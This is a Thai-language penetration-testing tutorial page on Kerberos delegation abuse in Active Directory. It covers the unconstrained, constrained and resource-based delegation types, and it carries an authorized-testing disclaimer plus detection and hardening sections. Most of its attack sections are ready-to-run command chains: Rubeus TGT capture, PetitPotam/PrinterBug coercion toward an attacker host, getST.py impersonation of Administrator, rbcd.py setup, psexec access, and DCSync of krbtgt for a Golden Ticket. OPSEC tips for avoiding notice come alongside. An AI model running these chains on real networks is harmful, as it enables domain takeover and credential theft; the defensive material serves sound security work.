คลัง
active-directory

Kerberos Delegation Abuse

Kerberos Delegation ให้ service ทำงาน 'แทน' user ต่อไปยัง backend service ได้ (เช่นเว็บที่ต้องคุยกับ SQL แทน user) แต่ถ้าตั้งค่าผิดจะเปิดช่องยกระดับสิทธิ์จนถึงยึดโดเมน มี 3 แบบ: <strong>Unconstrained</strong>, <strong>Constrained</strong> (S4U2Proxy), และ <strong>Resource-Based (RBCD)</strong> บทนี้ลงลึกกลไก S4U2Self/S4U2Proxy, การหา delegation, การ coerce ให้ DC/DA มา authenticate (printerbug/PetitPotam), attack chain ทั้ง 3 แบบด้วย Rubeus/Impacket, การตรวจจับและป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)

Advanced#delegation#unconstrained#constrained#rbcd#s4u2self#s4u2proxy#printerbug#coercion

1. Delegation 3 แบบ — กลไกและช่องโหว่

หัวใจของ delegation คือ Kerberos extension S4U (Service for User): S4U2Self ให้ service ขอ ticket 'ในนามของ' user คนใดก็ได้มาหาตัวมันเอง, S4U2Proxy ให้ service เอา ticket นั้นไปขอ ticket ต่อไปยัง backend service ที่กำหนด รวมกันทำให้ service ปลอมเป็น user (เช่น Domain Admin) ไปเข้า backend ได้ — จุดที่ผิดพลาดในการตั้งค่าคือช่องโหว่

แบบกลไกช่องโหว่ที่ใช้ยกระดับ
Unconstrained (TRUSTED_FOR_DELEGATION)service เก็บ TGT ของทุก user ที่มา auth ไว้ใน memorycoerce DA/DC มา auth → ขโมย TGT → ยึดโดเมน
Constrained (msDS-AllowedToDelegateTo)service ใช้ S4U ปลอมเป็น user ไปเฉพาะ SPN ที่ระบุคุม service นี้ → S4U2Self+Proxy ปลอมเป็น DA ไป target
RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)target ระบุเองว่าใคร delegate มาหาได้มี write บน target → ตั้งให้ computer เราปลอมได้
S4U2Self + S4U2Proxy (หัวใจของ constrained/RBCD)
service ที่เราคุม (FAKE$ / svc) DC (KDC) ออก ticket target service cifs/target S4U2Self ได้ ticket ปลอมเป็น admin (forwardable) S4U2Proxy → เข้า target เป็น admin
เนื้อหานี้เพื่อการทดสอบเจาะระบบที่ได้รับอนุญาตเป็นลายลักษณ์อักษร (engagement/lab/CTF) เท่านั้น

2. หา delegation ที่ตั้งค่าไว้

Enumeration — หา 3 แบบ
# PowerView (Windows/โดเมน)
Get-DomainComputer -Unconstrained | select name          # unconstrained
Get-DomainUser -TrustedToAuth | select name,msds-allowedtodelegateto   # constrained
Get-DomainComputer -TrustedToAuth
# หา object ที่เราเขียนได้ (สำหรับ RBCD)
Get-DomainObjectAcl -Identity TARGET$ -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match 'Write'}

# Impacket (Linux) — สรุปทั้ง 3 แบบในคำสั่งเดียว
findDelegation.py domain.local/user:password -dc-ip 10.10.10.10

# ldapsearch: userAccountControl มี TRUSTED_FOR_DELEGATION (0x80000 / 524288) = unconstrained
# BloodHound: edge "AllowedToDelegate" / node property "Unconstrained Delegation"
unconstrained บน computer ที่ไม่ใช่ DC = เป้าหมายทันที; findDelegation.py เห็นครบทั้ง 3 แบบจาก Linux
DC ทุกตัวมี Unconstrained Delegation โดยธรรมชาติ — ที่น่าสนใจคือ computer/service account อื่นที่ไม่ใช่ DC ที่ตั้ง unconstrained ไว้ เพราะถ้าเรายึดเครื่องนั้นได้ แล้ว coerce DC มา auth ก็ได้ TGT ของ DC (ยึดโดเมน)

3. Unconstrained Delegation + Coercion

เครื่องที่ตั้ง unconstrained จะเก็บ TGT ของทุก user ที่มา authenticateไว้ใน LSASS ถ้าเรามี admin บนเครื่องนั้น เราตั้ง Rubeus monitor ดัก TGT แล้วบังคับ (coerce) ให้ DC หรือ user สิทธิ์สูงมา authenticate หาเรา — เทคนิค coerce ที่นิยมคือ PrinterBug (MS-RPRN) และ PetitPotam (MS-EFSRPC)

Unconstrained: monitor + coerce DC → ยึดโดเมน
# 1. บนเครื่อง unconstrained (มี admin) — ดัก TGT ที่จะเข้ามา
Rubeus.exe monitor /interval:5 /nowrap

# 2. coerce DC ให้ authenticate มาหาเรา (จาก attacker box)
#    PrinterBug (MS-RPRN):
python3 printerbug.py domain.local/user:pass@DC01 ATTACKER_HOST
#    หรือ PetitPotam (MS-EFSRPC, มักไม่ต้อง auth):
python3 PetitPotam.py ATTACKER_HOST DC01

# 3. Rubeus จับ TGT ของ DC01$ (base64) → import
Rubeus.exe ptt /ticket:<base64-TGT-of-DC01$>

# 4. มี TGT ของ DC → DCSync ดึง krbtgt → Golden Ticket
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
unconstrained + coerce DC = ยึดโดเมนเต็ม; TGT ของ DC$ ใช้ DCSync ได้ → ดู DCSync / Golden Ticket

4. Constrained Delegation (S4U)

ถ้าเราคุม account ที่มี msDS-AllowedToDelegateTo (ตั้งให้ delegate ไป SPN ใด) เราใช้ S4U2Self+S4U2Proxy ปลอมเป็น user คนใดก็ได้ (เช่น Administrator) ไปยัง SPN ปลายทางนั้น ระวัง: ถ้าเป็น protocol transition (TrustedToAuthForDelegation) จะปลอมได้แม้ user ไม่เคยมา auth จริง

Constrained: S4U ปลอมเป็น admin
# Impacket — คุม svc_web (มี AllowedToDelegateTo cifs/fileserver)
getST.py -spn cifs/fileserver.domain.local \
    -impersonate Administrator \
    domain.local/svc_web:'ServicePass123'

export KRB5CCNAME=Administrator@cifs_fileserver.domain.local@DOMAIN.LOCAL.ccache
psexec.py -k -no-pass fileserver.domain.local

# Rubeus (Windows) — เทียบเท่า
Rubeus.exe s4u /user:svc_web /rc4:<NThash> \
    /impersonateuser:Administrator \
    /msdsspn:cifs/fileserver.domain.local /ptt

# เคล็ด: ปลายทาง SPN เปลี่ยน service class ได้ (cifs/host/http) เพราะ DC ไม่ตรวจ sname
# → S4U2Proxy ขอ cifs ได้แม้ config เป็น http
getST.py -impersonate = S4U ครบ; sname-substitution: เปลี่ยน cifs/host/ldap ได้เพราะ KDC ไม่ผูก service class

5. RBCD (พบบ่อยสุดใน CTF)

Resource-Based Constrained Delegation ย้ายการตั้งค่าไปไว้ที่ target (attribute msDS-AllowedToActOnBehalfOfOtherIdentity) ถ้าเรามีสิทธิ์เขียนบน target computer เราตั้งให้ computer account ที่เราคุม delegate มาหา target ได้ แล้ว S4U ปลอมเป็น admin เข้า target

RBCD chain (Impacket)
# เงื่อนไข: มี write (GenericWrite/GenericAll/WriteDACL) บน TARGET$

# 1. สร้าง computer account ที่เราคุม (ถ้า MachineAccountQuota > 0 — default 10)
addcomputer.py domain.local/user:pass \
    -computer-name 'FAKE$' -computer-pass 'Pass123!' -dc-ip 10.10.10.10

# 2. ตั้ง RBCD: ให้ FAKE$ delegate มาหา TARGET$
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' \
    -action write domain.local/user:pass -dc-ip 10.10.10.10

# 3. S4U: ขอ service ticket ปลอมเป็น Administrator ไป TARGET
getST.py -spn cifs/target.domain.local \
    -impersonate Administrator domain.local/'FAKE$':'Pass123!'

# 4. ใช้ ticket เข้า target เป็น admin
export KRB5CCNAME=Administrator@cifs_target.domain.local@DOMAIN.LOCAL.ccache
psexec.py -k -no-pass target.domain.local
RBCD chain: addcomputer → rbcd.py write → getST impersonate admin → เข้า target เป็น admin
ถ้า MachineAccountQuota = 0 (ผู้ใช้ทั่วไปสร้าง computer ไม่ได้) ต้องหา computer account ที่เราคุมรหัส/hash อยู่แล้วมาใช้เป็น delegate-from แทน — RBCD ไม่จำเป็นต้องสร้างเครื่องใหม่เสมอ

6. เปรียบเทียบ 3 แบบ

UnconstrainedConstrainedRBCD
ตั้งค่าอยู่ที่account ต้นทาง (UAC flag)account ต้นทาง (AllowedToDelegateTo)target (AllowedToActOnBehalf)
สิ่งที่ต้องมีadmin บนเครื่อง unconstrainedคุม account ที่ตั้ง constrainedwrite บน target
จำกัดปลายทาง?ไม่จำกัด (ทุก service)เฉพาะ SPN ที่ระบุเฉพาะ target
ต้อง coerce?ใช่ (ล่อ DA/DC มา auth)ไม่ (protocol transition)ไม่
ผลสูงสุดยึดโดเมน (TGT ของ DC)admin บน target SPNadmin บน target

7. Decision Flow

Delegation abuse
หา delegation (findDelegation.py / BloodHound)
แบบไหน?
Unconstrained (non-DC)ยึดเครื่องนั้น → monitor + coerce DC
Constrained (คุม account)S4U2Self+Proxy ปลอมเป็น DA
มี write บน computerRBCD
ทำ S4U / ขโมย TGT
getST.py -impersonate / Rubeus s4u / monitor

8. การตรวจจับ & OPSEC

สัญญาณตรวจที่ไหนหมายเหตุ
S4U2Self/Proxy ผิดปกติEvent 4769 (TGS request)ticket transitedservices / forwardable
msDS-AllowedToActOnBehalf เปลี่ยนEvent 5136RBCD ถูกตั้งบน computer
computer account ใหม่ถูกสร้างEvent 4741addcomputer.py (FAKE$)
coercion (RPRN/EFSRPC)network / SMB named pipeprinterbug / PetitPotam
TGT ของ DC$ ถูกใช้จาก host แปลกEvent 4768/4769หลัง unconstrained abuse
  • OPSEC: RBCD สร้าง computer account (Event 4741) — ใช้ชื่อที่ดูปกติ และลบเมื่อจบ (rbcd.py -action remove / addcomputer -delete)
  • OPSEC: ตั้ง msDS-AllowedToActOnBehalf กลับเป็นค่าเดิมหลังใช้ เพื่อไม่ทิ้ง backdoor
  • OPSEC: coercion แบบ PetitPotam เห็นชัดใน network — เลือกจังหวะและ target ให้เหมาะ

9. Blue Team — การป้องกัน

  • เลิกใช้ Unconstrained: ถ้าไม่จำเป็น ปิด TRUSTED_FOR_DELEGATION; ตั้ง DC/บัญชี privileged เป็น Account is sensitive and cannot be delegated หรือใส่ใน Protected Users
  • ตั้ง MachineAccountQuota = 0: ห้าม user ทั่วไปสร้าง computer account (ตัด RBCD chain แบบ addcomputer)
  • Monitor Event 5136 ที่แก้ msDS-AllowedToActOnBehalfOfOtherIdentity และ msDS-AllowedToDelegateTo
  • ปิด coercion: patch/จำกัด MS-RPRN (Print Spooler บน DC), บังคับ SMB signing + EPA เพื่อกัน PetitPotam relay
  • Least privilege บน ACL: ลด GenericWrite/WriteDACL บน computer object ที่ไม่จำเป็น
  • Audit delegation config: baseline รายการ constrained/unconstrained/RBCD และ alert เมื่อมีการเพิ่มใหม่

10. Walkthrough — CTF & real engagement

  1. 1หลังได้ foothold + creds → รัน findDelegation.py หรือ BloodHound
  2. 2กรณี A (RBCD): BloodHound ชี้ GenericWrite บน SRV01$ → addcomputer FAKE$ → rbcd.py write → getST impersonate Administrator → psexec เข้า SRV01 เป็น admin
  3. 3กรณี B (Constrained): คุม svc_web ที่ delegate ไป cifs/fileserver → getST -impersonate Administrator → เข้า fileserver
  4. 4กรณี C (Unconstrained): ยึดเครื่อง WEB01 (unconstrained) → Rubeus monitor → PetitPotam บังคับ DC01 auth → ได้ TGT ของ DC01$ → DCSync → Golden Ticket
  5. 5เก็บ hash/ticket ที่ได้ ทำ lateral movement ต่อ (ดู Credential Dumping / Pass-the-Hash)
  6. 6cleanup: ลบ FAKE$, คืน msDS-AllowedToActOnBehalf, รายงานทุกการเปลี่ยนแปลง

11. ข้อผิดพลาดที่พบบ่อย & แก้ปัญหา

  • KRB5CCNAME ชื่อไฟล์ผิด: getST.py ตั้งชื่อ .ccache แบบเฉพาะ — export ให้ตรงชื่อจริง (ดูจาก output)
  • clock skew: Kerberos ต้องเวลาใกล้ DC (<5 นาที) — sync ด้วย ntpdate / faketime ก่อน
  • MachineAccountQuota = 0: addcomputer fail — ต้องใช้ computer account ที่คุมอยู่แล้วเป็น delegate-from
  • S4U2Self ไม่ forwardable: ถ้า account ไม่มี TrustedToAuthForDelegation อาจได้ ticket ที่ proxy ต่อไม่ได้ — บาง target ต้องใช้ trick (rbcd) แทน
  • coerce ไม่โดน: Print Spooler ปิด → printerbug fail; ลอง PetitPotam (EFSRPC) หรือ DFSCoerce แทน
  • ลืมว่า TGT ของ DC$ ทำอะไรได้: computer account ของ DC มีสิทธิ์ DCSync — อย่าหยุดแค่ได้ TGT ให้ต่อไป dcsync

12. Quick Reference

  • Unconstrained (non-DC): ยึดเครื่อง → Rubeus monitor → coerce DC (PetitPotam/printerbug) → TGT ของ DC → DCSync
  • Constrained: คุม account ที่มี msDS-AllowedToDelegateTo → getST.py -impersonate Administrator
  • RBCD: มี write บน target → addcomputer FAKE$ → rbcd.py write → getST -impersonate
  • หา: findDelegation.py; PowerView -Unconstrained/-TrustedToAuth; BloodHound edges
  • S4U trick: เปลี่ยน service class ปลายทางได้ (cifs/host/ldap) เพราะ KDC ไม่ผูก sname
  • coerce: printerbug.py (RPRN), PetitPotam.py (EFSRPC), DFSCoerce
  • ป้องกัน: MAQ=0, Protected Users, ปิด Spooler บน DC, monitor Event 5136/4741/4769

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ BloodHound/findDelegation.py ชี้ว่ามี delegation ตั้งไว้ (unconstrained/constrained/RBCD) มีแค่ Kali ทำตามนี้เลือกเส้นทางให้ถูกตามสิ่งที่เจอ

  1. 1หา delegation ทั้งหมดในโดเมน: findDelegation.py domain.local/user:pass -dc-ip <DC_IP>
  2. 2ดูผลว่าเจอแบบไหน: unconstrained (บนเครื่องที่ไม่ใช่ DC), constrained (มี msDS-AllowedToDelegateTo), หรือมี write บน computer object (เข้าทาง RBCD)
  3. 3ถ้าเป็น unconstrained: ต้องมี admin บนเครื่องนั้นก่อน → ตั้ง Rubeus.exe monitor /interval:5 /nowrap แล้ว coerce DC ด้วย python3 PetitPotam.py <ATTACKER_HOST> <DC>
  4. 4ถ้าเป็น constrained: ใช้ S4U ตรงๆ getST.py -spn <SPN> -impersonate Administrator domain.local/svc_account:pass
  5. 5ถ้าเป็น RBCD: เช็ค MachineAccountQuota ก่อน แล้วสร้าง computer account addcomputer.py domain.local/user:pass -computer-name 'FAKE$' -computer-pass 'Pass123!'
  6. 6ตั้ง RBCD: rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -action write domain.local/user:pass
  7. 7ขอ ticket ปลอมเป็น admin: getST.py -spn cifs/target.domain.local -impersonate Administrator domain.local/'FAKE$':'Pass123!'
  8. 8ใช้ ticket เข้า target: export KRB5CCNAME=... แล้ว psexec.py -k -no-pass target.domain.local
  9. 9ถ้าไม่มี delegation ตั้งไว้เลย (ตัน) → กลับไปหา ACL edge อื่นหรือเทคนิคอื่น
เจอ delegation แบบไหน → ทำท่าไหน
findDelegation.py — เจอ delegation แบบไหน
Unconstrained (เครื่องไม่ใช่ DC)→ ยึดเครื่องนั้น + monitor + coerce DC
Constrained (คุม account อยู่แล้ว)→ S4U ตรงๆ ปลอมเป็น admin
มี write บน computer object→ ทำ RBCD
ไม่เจอเลย→ ไม่มี delegation ให้ abuse — ลองทางอื่น
Rubeus monitor + PetitPotam/printerbug coerce DC
✅ ได้ TGT ของ DC$→ DCSync ต่อทันที
❌ coerce ไม่โดน→ ลอง DFSCoerce หรือ printerbug แทน
getST.py -spn <SPN> -impersonate Administrator
✅ ได้ ticket ปลอมเป็น admin→ เข้า target service เป็น admin
❌ ไม่ forwardable/fail→ ลองสลับ service class (cifs/host/ldap)
addcomputer.py FAKE$ → rbcd.py write → getST -impersonate
✅ สำเร็จ ได้ ticket admin เข้า target→ psexec เข้า target เป็น admin
❌ MachineAccountQuota=0→ ใช้ computer account ที่คุมอยู่แล้วเป็น delegate-from แทน
psexec.py -k -no-pass target
✅ เข้าได้ (admin บน target)→ ยึดเครื่องนั้น dump credential ต่อ
❌ เข้าไม่ได้→ ตรวจชื่อ .ccache/KRB5CCNAME ให้ตรง
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หา delegation ทั้งหมดimpacket (findDelegation.py)--
monitor TGT (unconstrained)-Rubeus (compile/ใช้บน host เป้าหมาย)-
coerce ให้ auth มา-git clone PetitPotam / printerbug.py-
ทำ S4U/RBCDimpacket (getST.py, rbcd.py, addcomputer.py)--
ใช้ ticket เข้า targetimpacket (psexec.py/wmiexec.py)--
ยืนยัน credsnetexec (crackmapexec)apt install netexec-
🚑 ถ้าตันสนิท ลองท่าถัดไป: DCSync (หลังได้ TGT ของ DC) · ACL Abuse (ถ้าไม่มี delegation ให้ abuse เลย) · Shadow Credentials (ทางเลือกอื่นถ้ามี write บน computer แต่ MachineAccountQuota=0) · Golden Ticket (ถ้าได้ krbtgt จาก DCSync ต่อจากนี้)

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้